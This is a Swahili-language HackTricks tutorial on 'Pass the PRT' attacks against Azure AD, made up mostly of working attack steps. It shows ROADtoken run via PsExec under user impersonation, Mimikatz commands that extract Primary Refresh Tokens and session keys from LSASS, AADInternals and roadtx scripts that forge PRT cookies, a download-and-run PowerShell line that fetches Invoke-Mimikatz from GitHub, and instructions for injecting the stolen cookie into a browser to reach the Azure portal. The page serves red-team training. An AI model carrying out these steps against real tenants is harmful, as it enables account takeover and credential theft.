Az - Pass the PRT

Jifunze kuhack AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ni nini PRT

pageAz - Primary Refresh Token (PRT)

Angalia ikiwa una PRT

Dsregcmd.exe /status

Katika sehemu ya Hali ya SSO, unapaswa kuona AzureAdPrt imewekwa kuwa NDIYO.

Katika matokeo hayo hiyo unaweza pia kuona ikiwa kifaa kimejiunga na Azure (katika uga wa AzureAdJoined):

Kuki ya PRT

Kuki ya PRT kimsingi inaitwa x-ms-RefreshTokenCredential na ni JSON Web Token (JWT). JWT ina sehemu 3, kichwa, mzigo na sahihi, zilizogawanywa na . na zote zimekodishwa kwa msingi wa base64 wa url. Kuki ya kawaida ya PRT ina kichwa na mwili ufuatao:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

PRT ya Primary Refresh Token (PRT) halisi imefungwa ndani ya refresh_token, ambayo imefichwa kwa kutumia ufunguo chini ya udhibiti wa Azure AD, ikifanya maudhui yake kuwa haijulikani na isiyoweza kufunguliwa kwetu. Uga wa is_primary unamaanisha kufungwa kwa primary refresh token ndani ya token huu. Ili kuhakikisha kuwa kuki inabaki imefungwa kwenye kikao cha kuingia kilichokusudiwa, request_nonce inatumwa kutoka ukurasa wa logon.microsoftonline.com.

Mzunguko wa Kuki ya PRT ukitumia TPM

Mchakato wa LSASS utatuma kwa TPM muktadha wa KDF, na TPM itatumia ufunguo wa kikao (ulipatikana wakati kifaa kiliposajiliwa katika AzureAD na kuhifadhiwa kwenye TPM) na muktadha uliopita kwa kutengeneza ufunguo, na huu ufunguo uliotengenezwa hutumiwa kusaini kuki ya PRT (JWT).

Muktadha wa KDF ni ncha kutoka AzureAD na PRT inayounda JWT iliyochanganywa na muktadha (baiti za nasibu).

Hivyo, hata kama PTR haiwezi kuchimbuliwa kwa sababu iko ndani ya TPM, niwezekanavyo kudhuru LSASS kwa kuomba ufunguo uliotengenezwa kutoka muktadha mpya na kutumia ufunguo uliotengenezwa kusaini Kuki.

Mifano ya Uvunjaji wa PRT

Kama mtumiaji wa kawaida niwezekanavyo kuomba matumizi ya PRT kwa kuuliza LSASS kwa data ya SSO. Hii inaweza kufanywa kama programu za asili ambazo huiomba tokens kutoka kwa Meneja wa Akaunti ya Wavuti (mshughulikiaji wa token). WAM inapitisha ombi kwa LSASS, ambayo huiuliza tokens kwa kutumia uthibitisho wa PRT uliosainiwa. Au inaweza kufanywa na mifumo ya mtandao (wavuti) ambapo kuki ya PRT hutumiwa kama kichwa cha kuthibitisha maombi kwenye kurasa za kuingia za Azure AS.

Kama SYSTEM unaweza kuiba PRT ikiwa haijalindwa na TPM au kutumia ufunguo wa PRT katika LSASS kwa kutumia APIs za kriptografia.

Mifano ya Mashambulizi ya Kupitisha-PRT

Shambulio - ROADtoken

Kwa habari zaidi kuhusu njia hii angalia chapisho hili. ROADtoken itaendesha BrowserCore.exe kutoka kwenye saraka sahihi na kutumia hiyo kwa kupata kuki ya PRT. Kuki hii inaweza kutumika kwa ROADtools kuthibitisha na kupata kibali cha kudumu cha upya.

Ili kutengeneza kuki sahihi ya PRT, jambo la kwanza unahitaji ni ncha. Unaweza kupata hii kwa:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Au kutumia roadrecon:

roadrecon auth prt-init

Kisha unaweza kutumia roadtoken kupata PRT mpya (endesha zana kutoka kwa mchakato wa mtumiaji kushambulia):

.\ROADtoken.exe <nonce>

Kama oneliner:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Kisha unaweza kutumia kuki iliyozalishwa kuzalisha vitambulisho kuingia kwa kutumia Azure AD Graph au Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Shambulizi - Kutumia roadrecon

Shambulizi - Kutumia AADInternals na PTR iliyovuja

Get-AADIntUserPRTToken inapata tokeni ya PRT ya mtumiaji kutoka kwa kompyuta iliyounganishwa na Azure AD au iliyounganishwa kwa njia ya hibridi. Inatumia BrowserCore.exe kupata tokeni ya PRT.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Au ikiwa una thamani kutoka kwa Mimikatz unaweza pia kutumia AADInternals kuzalisha token:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Nenda kwa https://login.microsoftonline.com, futa mikate yote kwa login.microsoftonline.com na ingiza kikapu kipya.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Kisha endelea https://portal.azure.com

Sehemu nyingine zitabaki kama ilivyo. Hakikisha unaweza kusasisha ukurasa na kuki isipotee, ikiwa itapotea, labda umefanya kosa na unahitaji kufuata mchakato huo tena. Ikiwa haitapotea, basi utakuwa umefanikiwa.

Shambulio - Mimikatz

Hatua

  1. PRT (Primary Refresh Token) inachimbwa kutoka LSASS (Local Security Authority Subsystem Service) na kuhifadhiwa kwa matumizi ya baadaye.

  2. Muhtasari wa Kikao unachimbwa kisha. Kwa kuwa funguo hii kwanza hutolewa na kisha kufanyiwa upya kwa kifaa cha ndani, inahitaji kufunguliwa kwa kutumia muhtasari wa DPAPI. Maelezo kamili kuhusu DPAPI (Data Protection API) yanaweza kupatikana katika rasilimali hizi: HackTricks na kwa uelewa wa matumizi yake, tazama Shambulio la kusafirisha kuki.

  3. Baada ya kufungua muhtasari wa Kikao, muhtasari uliopatikana na muktadha kwa PRT unapokelewa. Hizi ni muhimu kwa ujenzi wa kuki ya PRT. Hasa, muhtasari uliopatikana unatumika kusaini JWT (JSON Web Token) ambayo inajumuisha kuki. Maelezo kamili ya mchakato huu yametolewa na Dirk-jan, yanapatikana hapa.

Tafadhali kumbuka kwamba ikiwa PRT iko ndani ya TPM na sio ndani ya lsass mimikatz haitaweza kuichimbua. Hata hivyo, itakuwa inawezekana kupata funguo kutoka kwa muhtasari uliopatikana kutoka kwa muktadha kutoka kwa TPM na kutumia kusaini kuki (angalia chaguo 3).

Unaweza kupata maelezo ya kina ya mchakato uliofanywa kuchimba maelezo haya hapa: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

Hii haitafanya kazi hasa baada ya marekebisho ya Agosti 2021 ya kupata PRT za watumiaji wengine kwani mtumiaji pekee ndiye anaweza kupata PRT yake (msimamizi wa ndani hawezi kupata PRT za watumiaji wengine), lakini anaweza kupata yake.

Unaweza kutumia mimikatz kuchimba PRT:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Nakili sehemu iliyoandikwa Prt na iihifadhi. Chukua pia ufunguo wa kikao (KeyValue ya uga wa ProofOfPossesionKey) ambao unaweza kuona umewekwa alama hapa chini. Hii imefichwa na tutahitaji kutumia DPAPI masterkeys yetu kuifichua.

Ikiwa hauoni data yoyote ya PRT inaweza kuwa kwamba huna PRTs kwa sababu kifaa chako hakijajiunga na Azure AD au inaweza kuwa unatumia toleo la zamani la Windows 10.

Kufichua ufunguo wa kikao unahitaji kuinua mamlaka yako hadi SYSTEM ili uweze kufanya kazi chini ya muktadha wa kompyuta ili kutumia DPAPI masterkey kuifichua. Unaweza kutumia amri zifuatazo kufanya hivyo:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Chaguo 1 - Mimikatz Kamili

  • Sasa unataka kunakili thamani zote za Muktadha:

  • Na thamani iliyopatikana ya ufunguo:

  • Hatimaye unaweza kutumia habari hii yote kuzalisha vidakuzi vya PRT:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Sehemu nyingine ziwe za msingi. Hakikisha unaweza kusasisha ukurasa na kuki isipotee, ikiwa itapotea, unaweza kuwa umefanya kosa na unahitaji kufuata mchakato huo tena. Ikiwa haitapotea, basi utakuwa umefanikiwa.

Chaguo 2 - roadrecon kutumia PTR

  • Fanyia upya PRT kwanza, ambayo itahifadhiwa kwenye roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Sasa tunaweza kuomba vibali kwa kutumia kivinjari cha mwingiliano na roadtx browserprtauth. Ikiwa tutatumia amri ya roadtx describe, tunaona kibali cha ufikiaji kina jumla ya MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na kibali cha MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Chaguo 3 - roadrecon kutumia funguo zilizopatikana

Ukiwa na muktadha na funguo zilizopatikana zilizochukuliwa na mimikatz, niwezekanavyo kutumia roadrecon kuzalisha kuki mpya iliyosainiwa na:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Marejeo

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated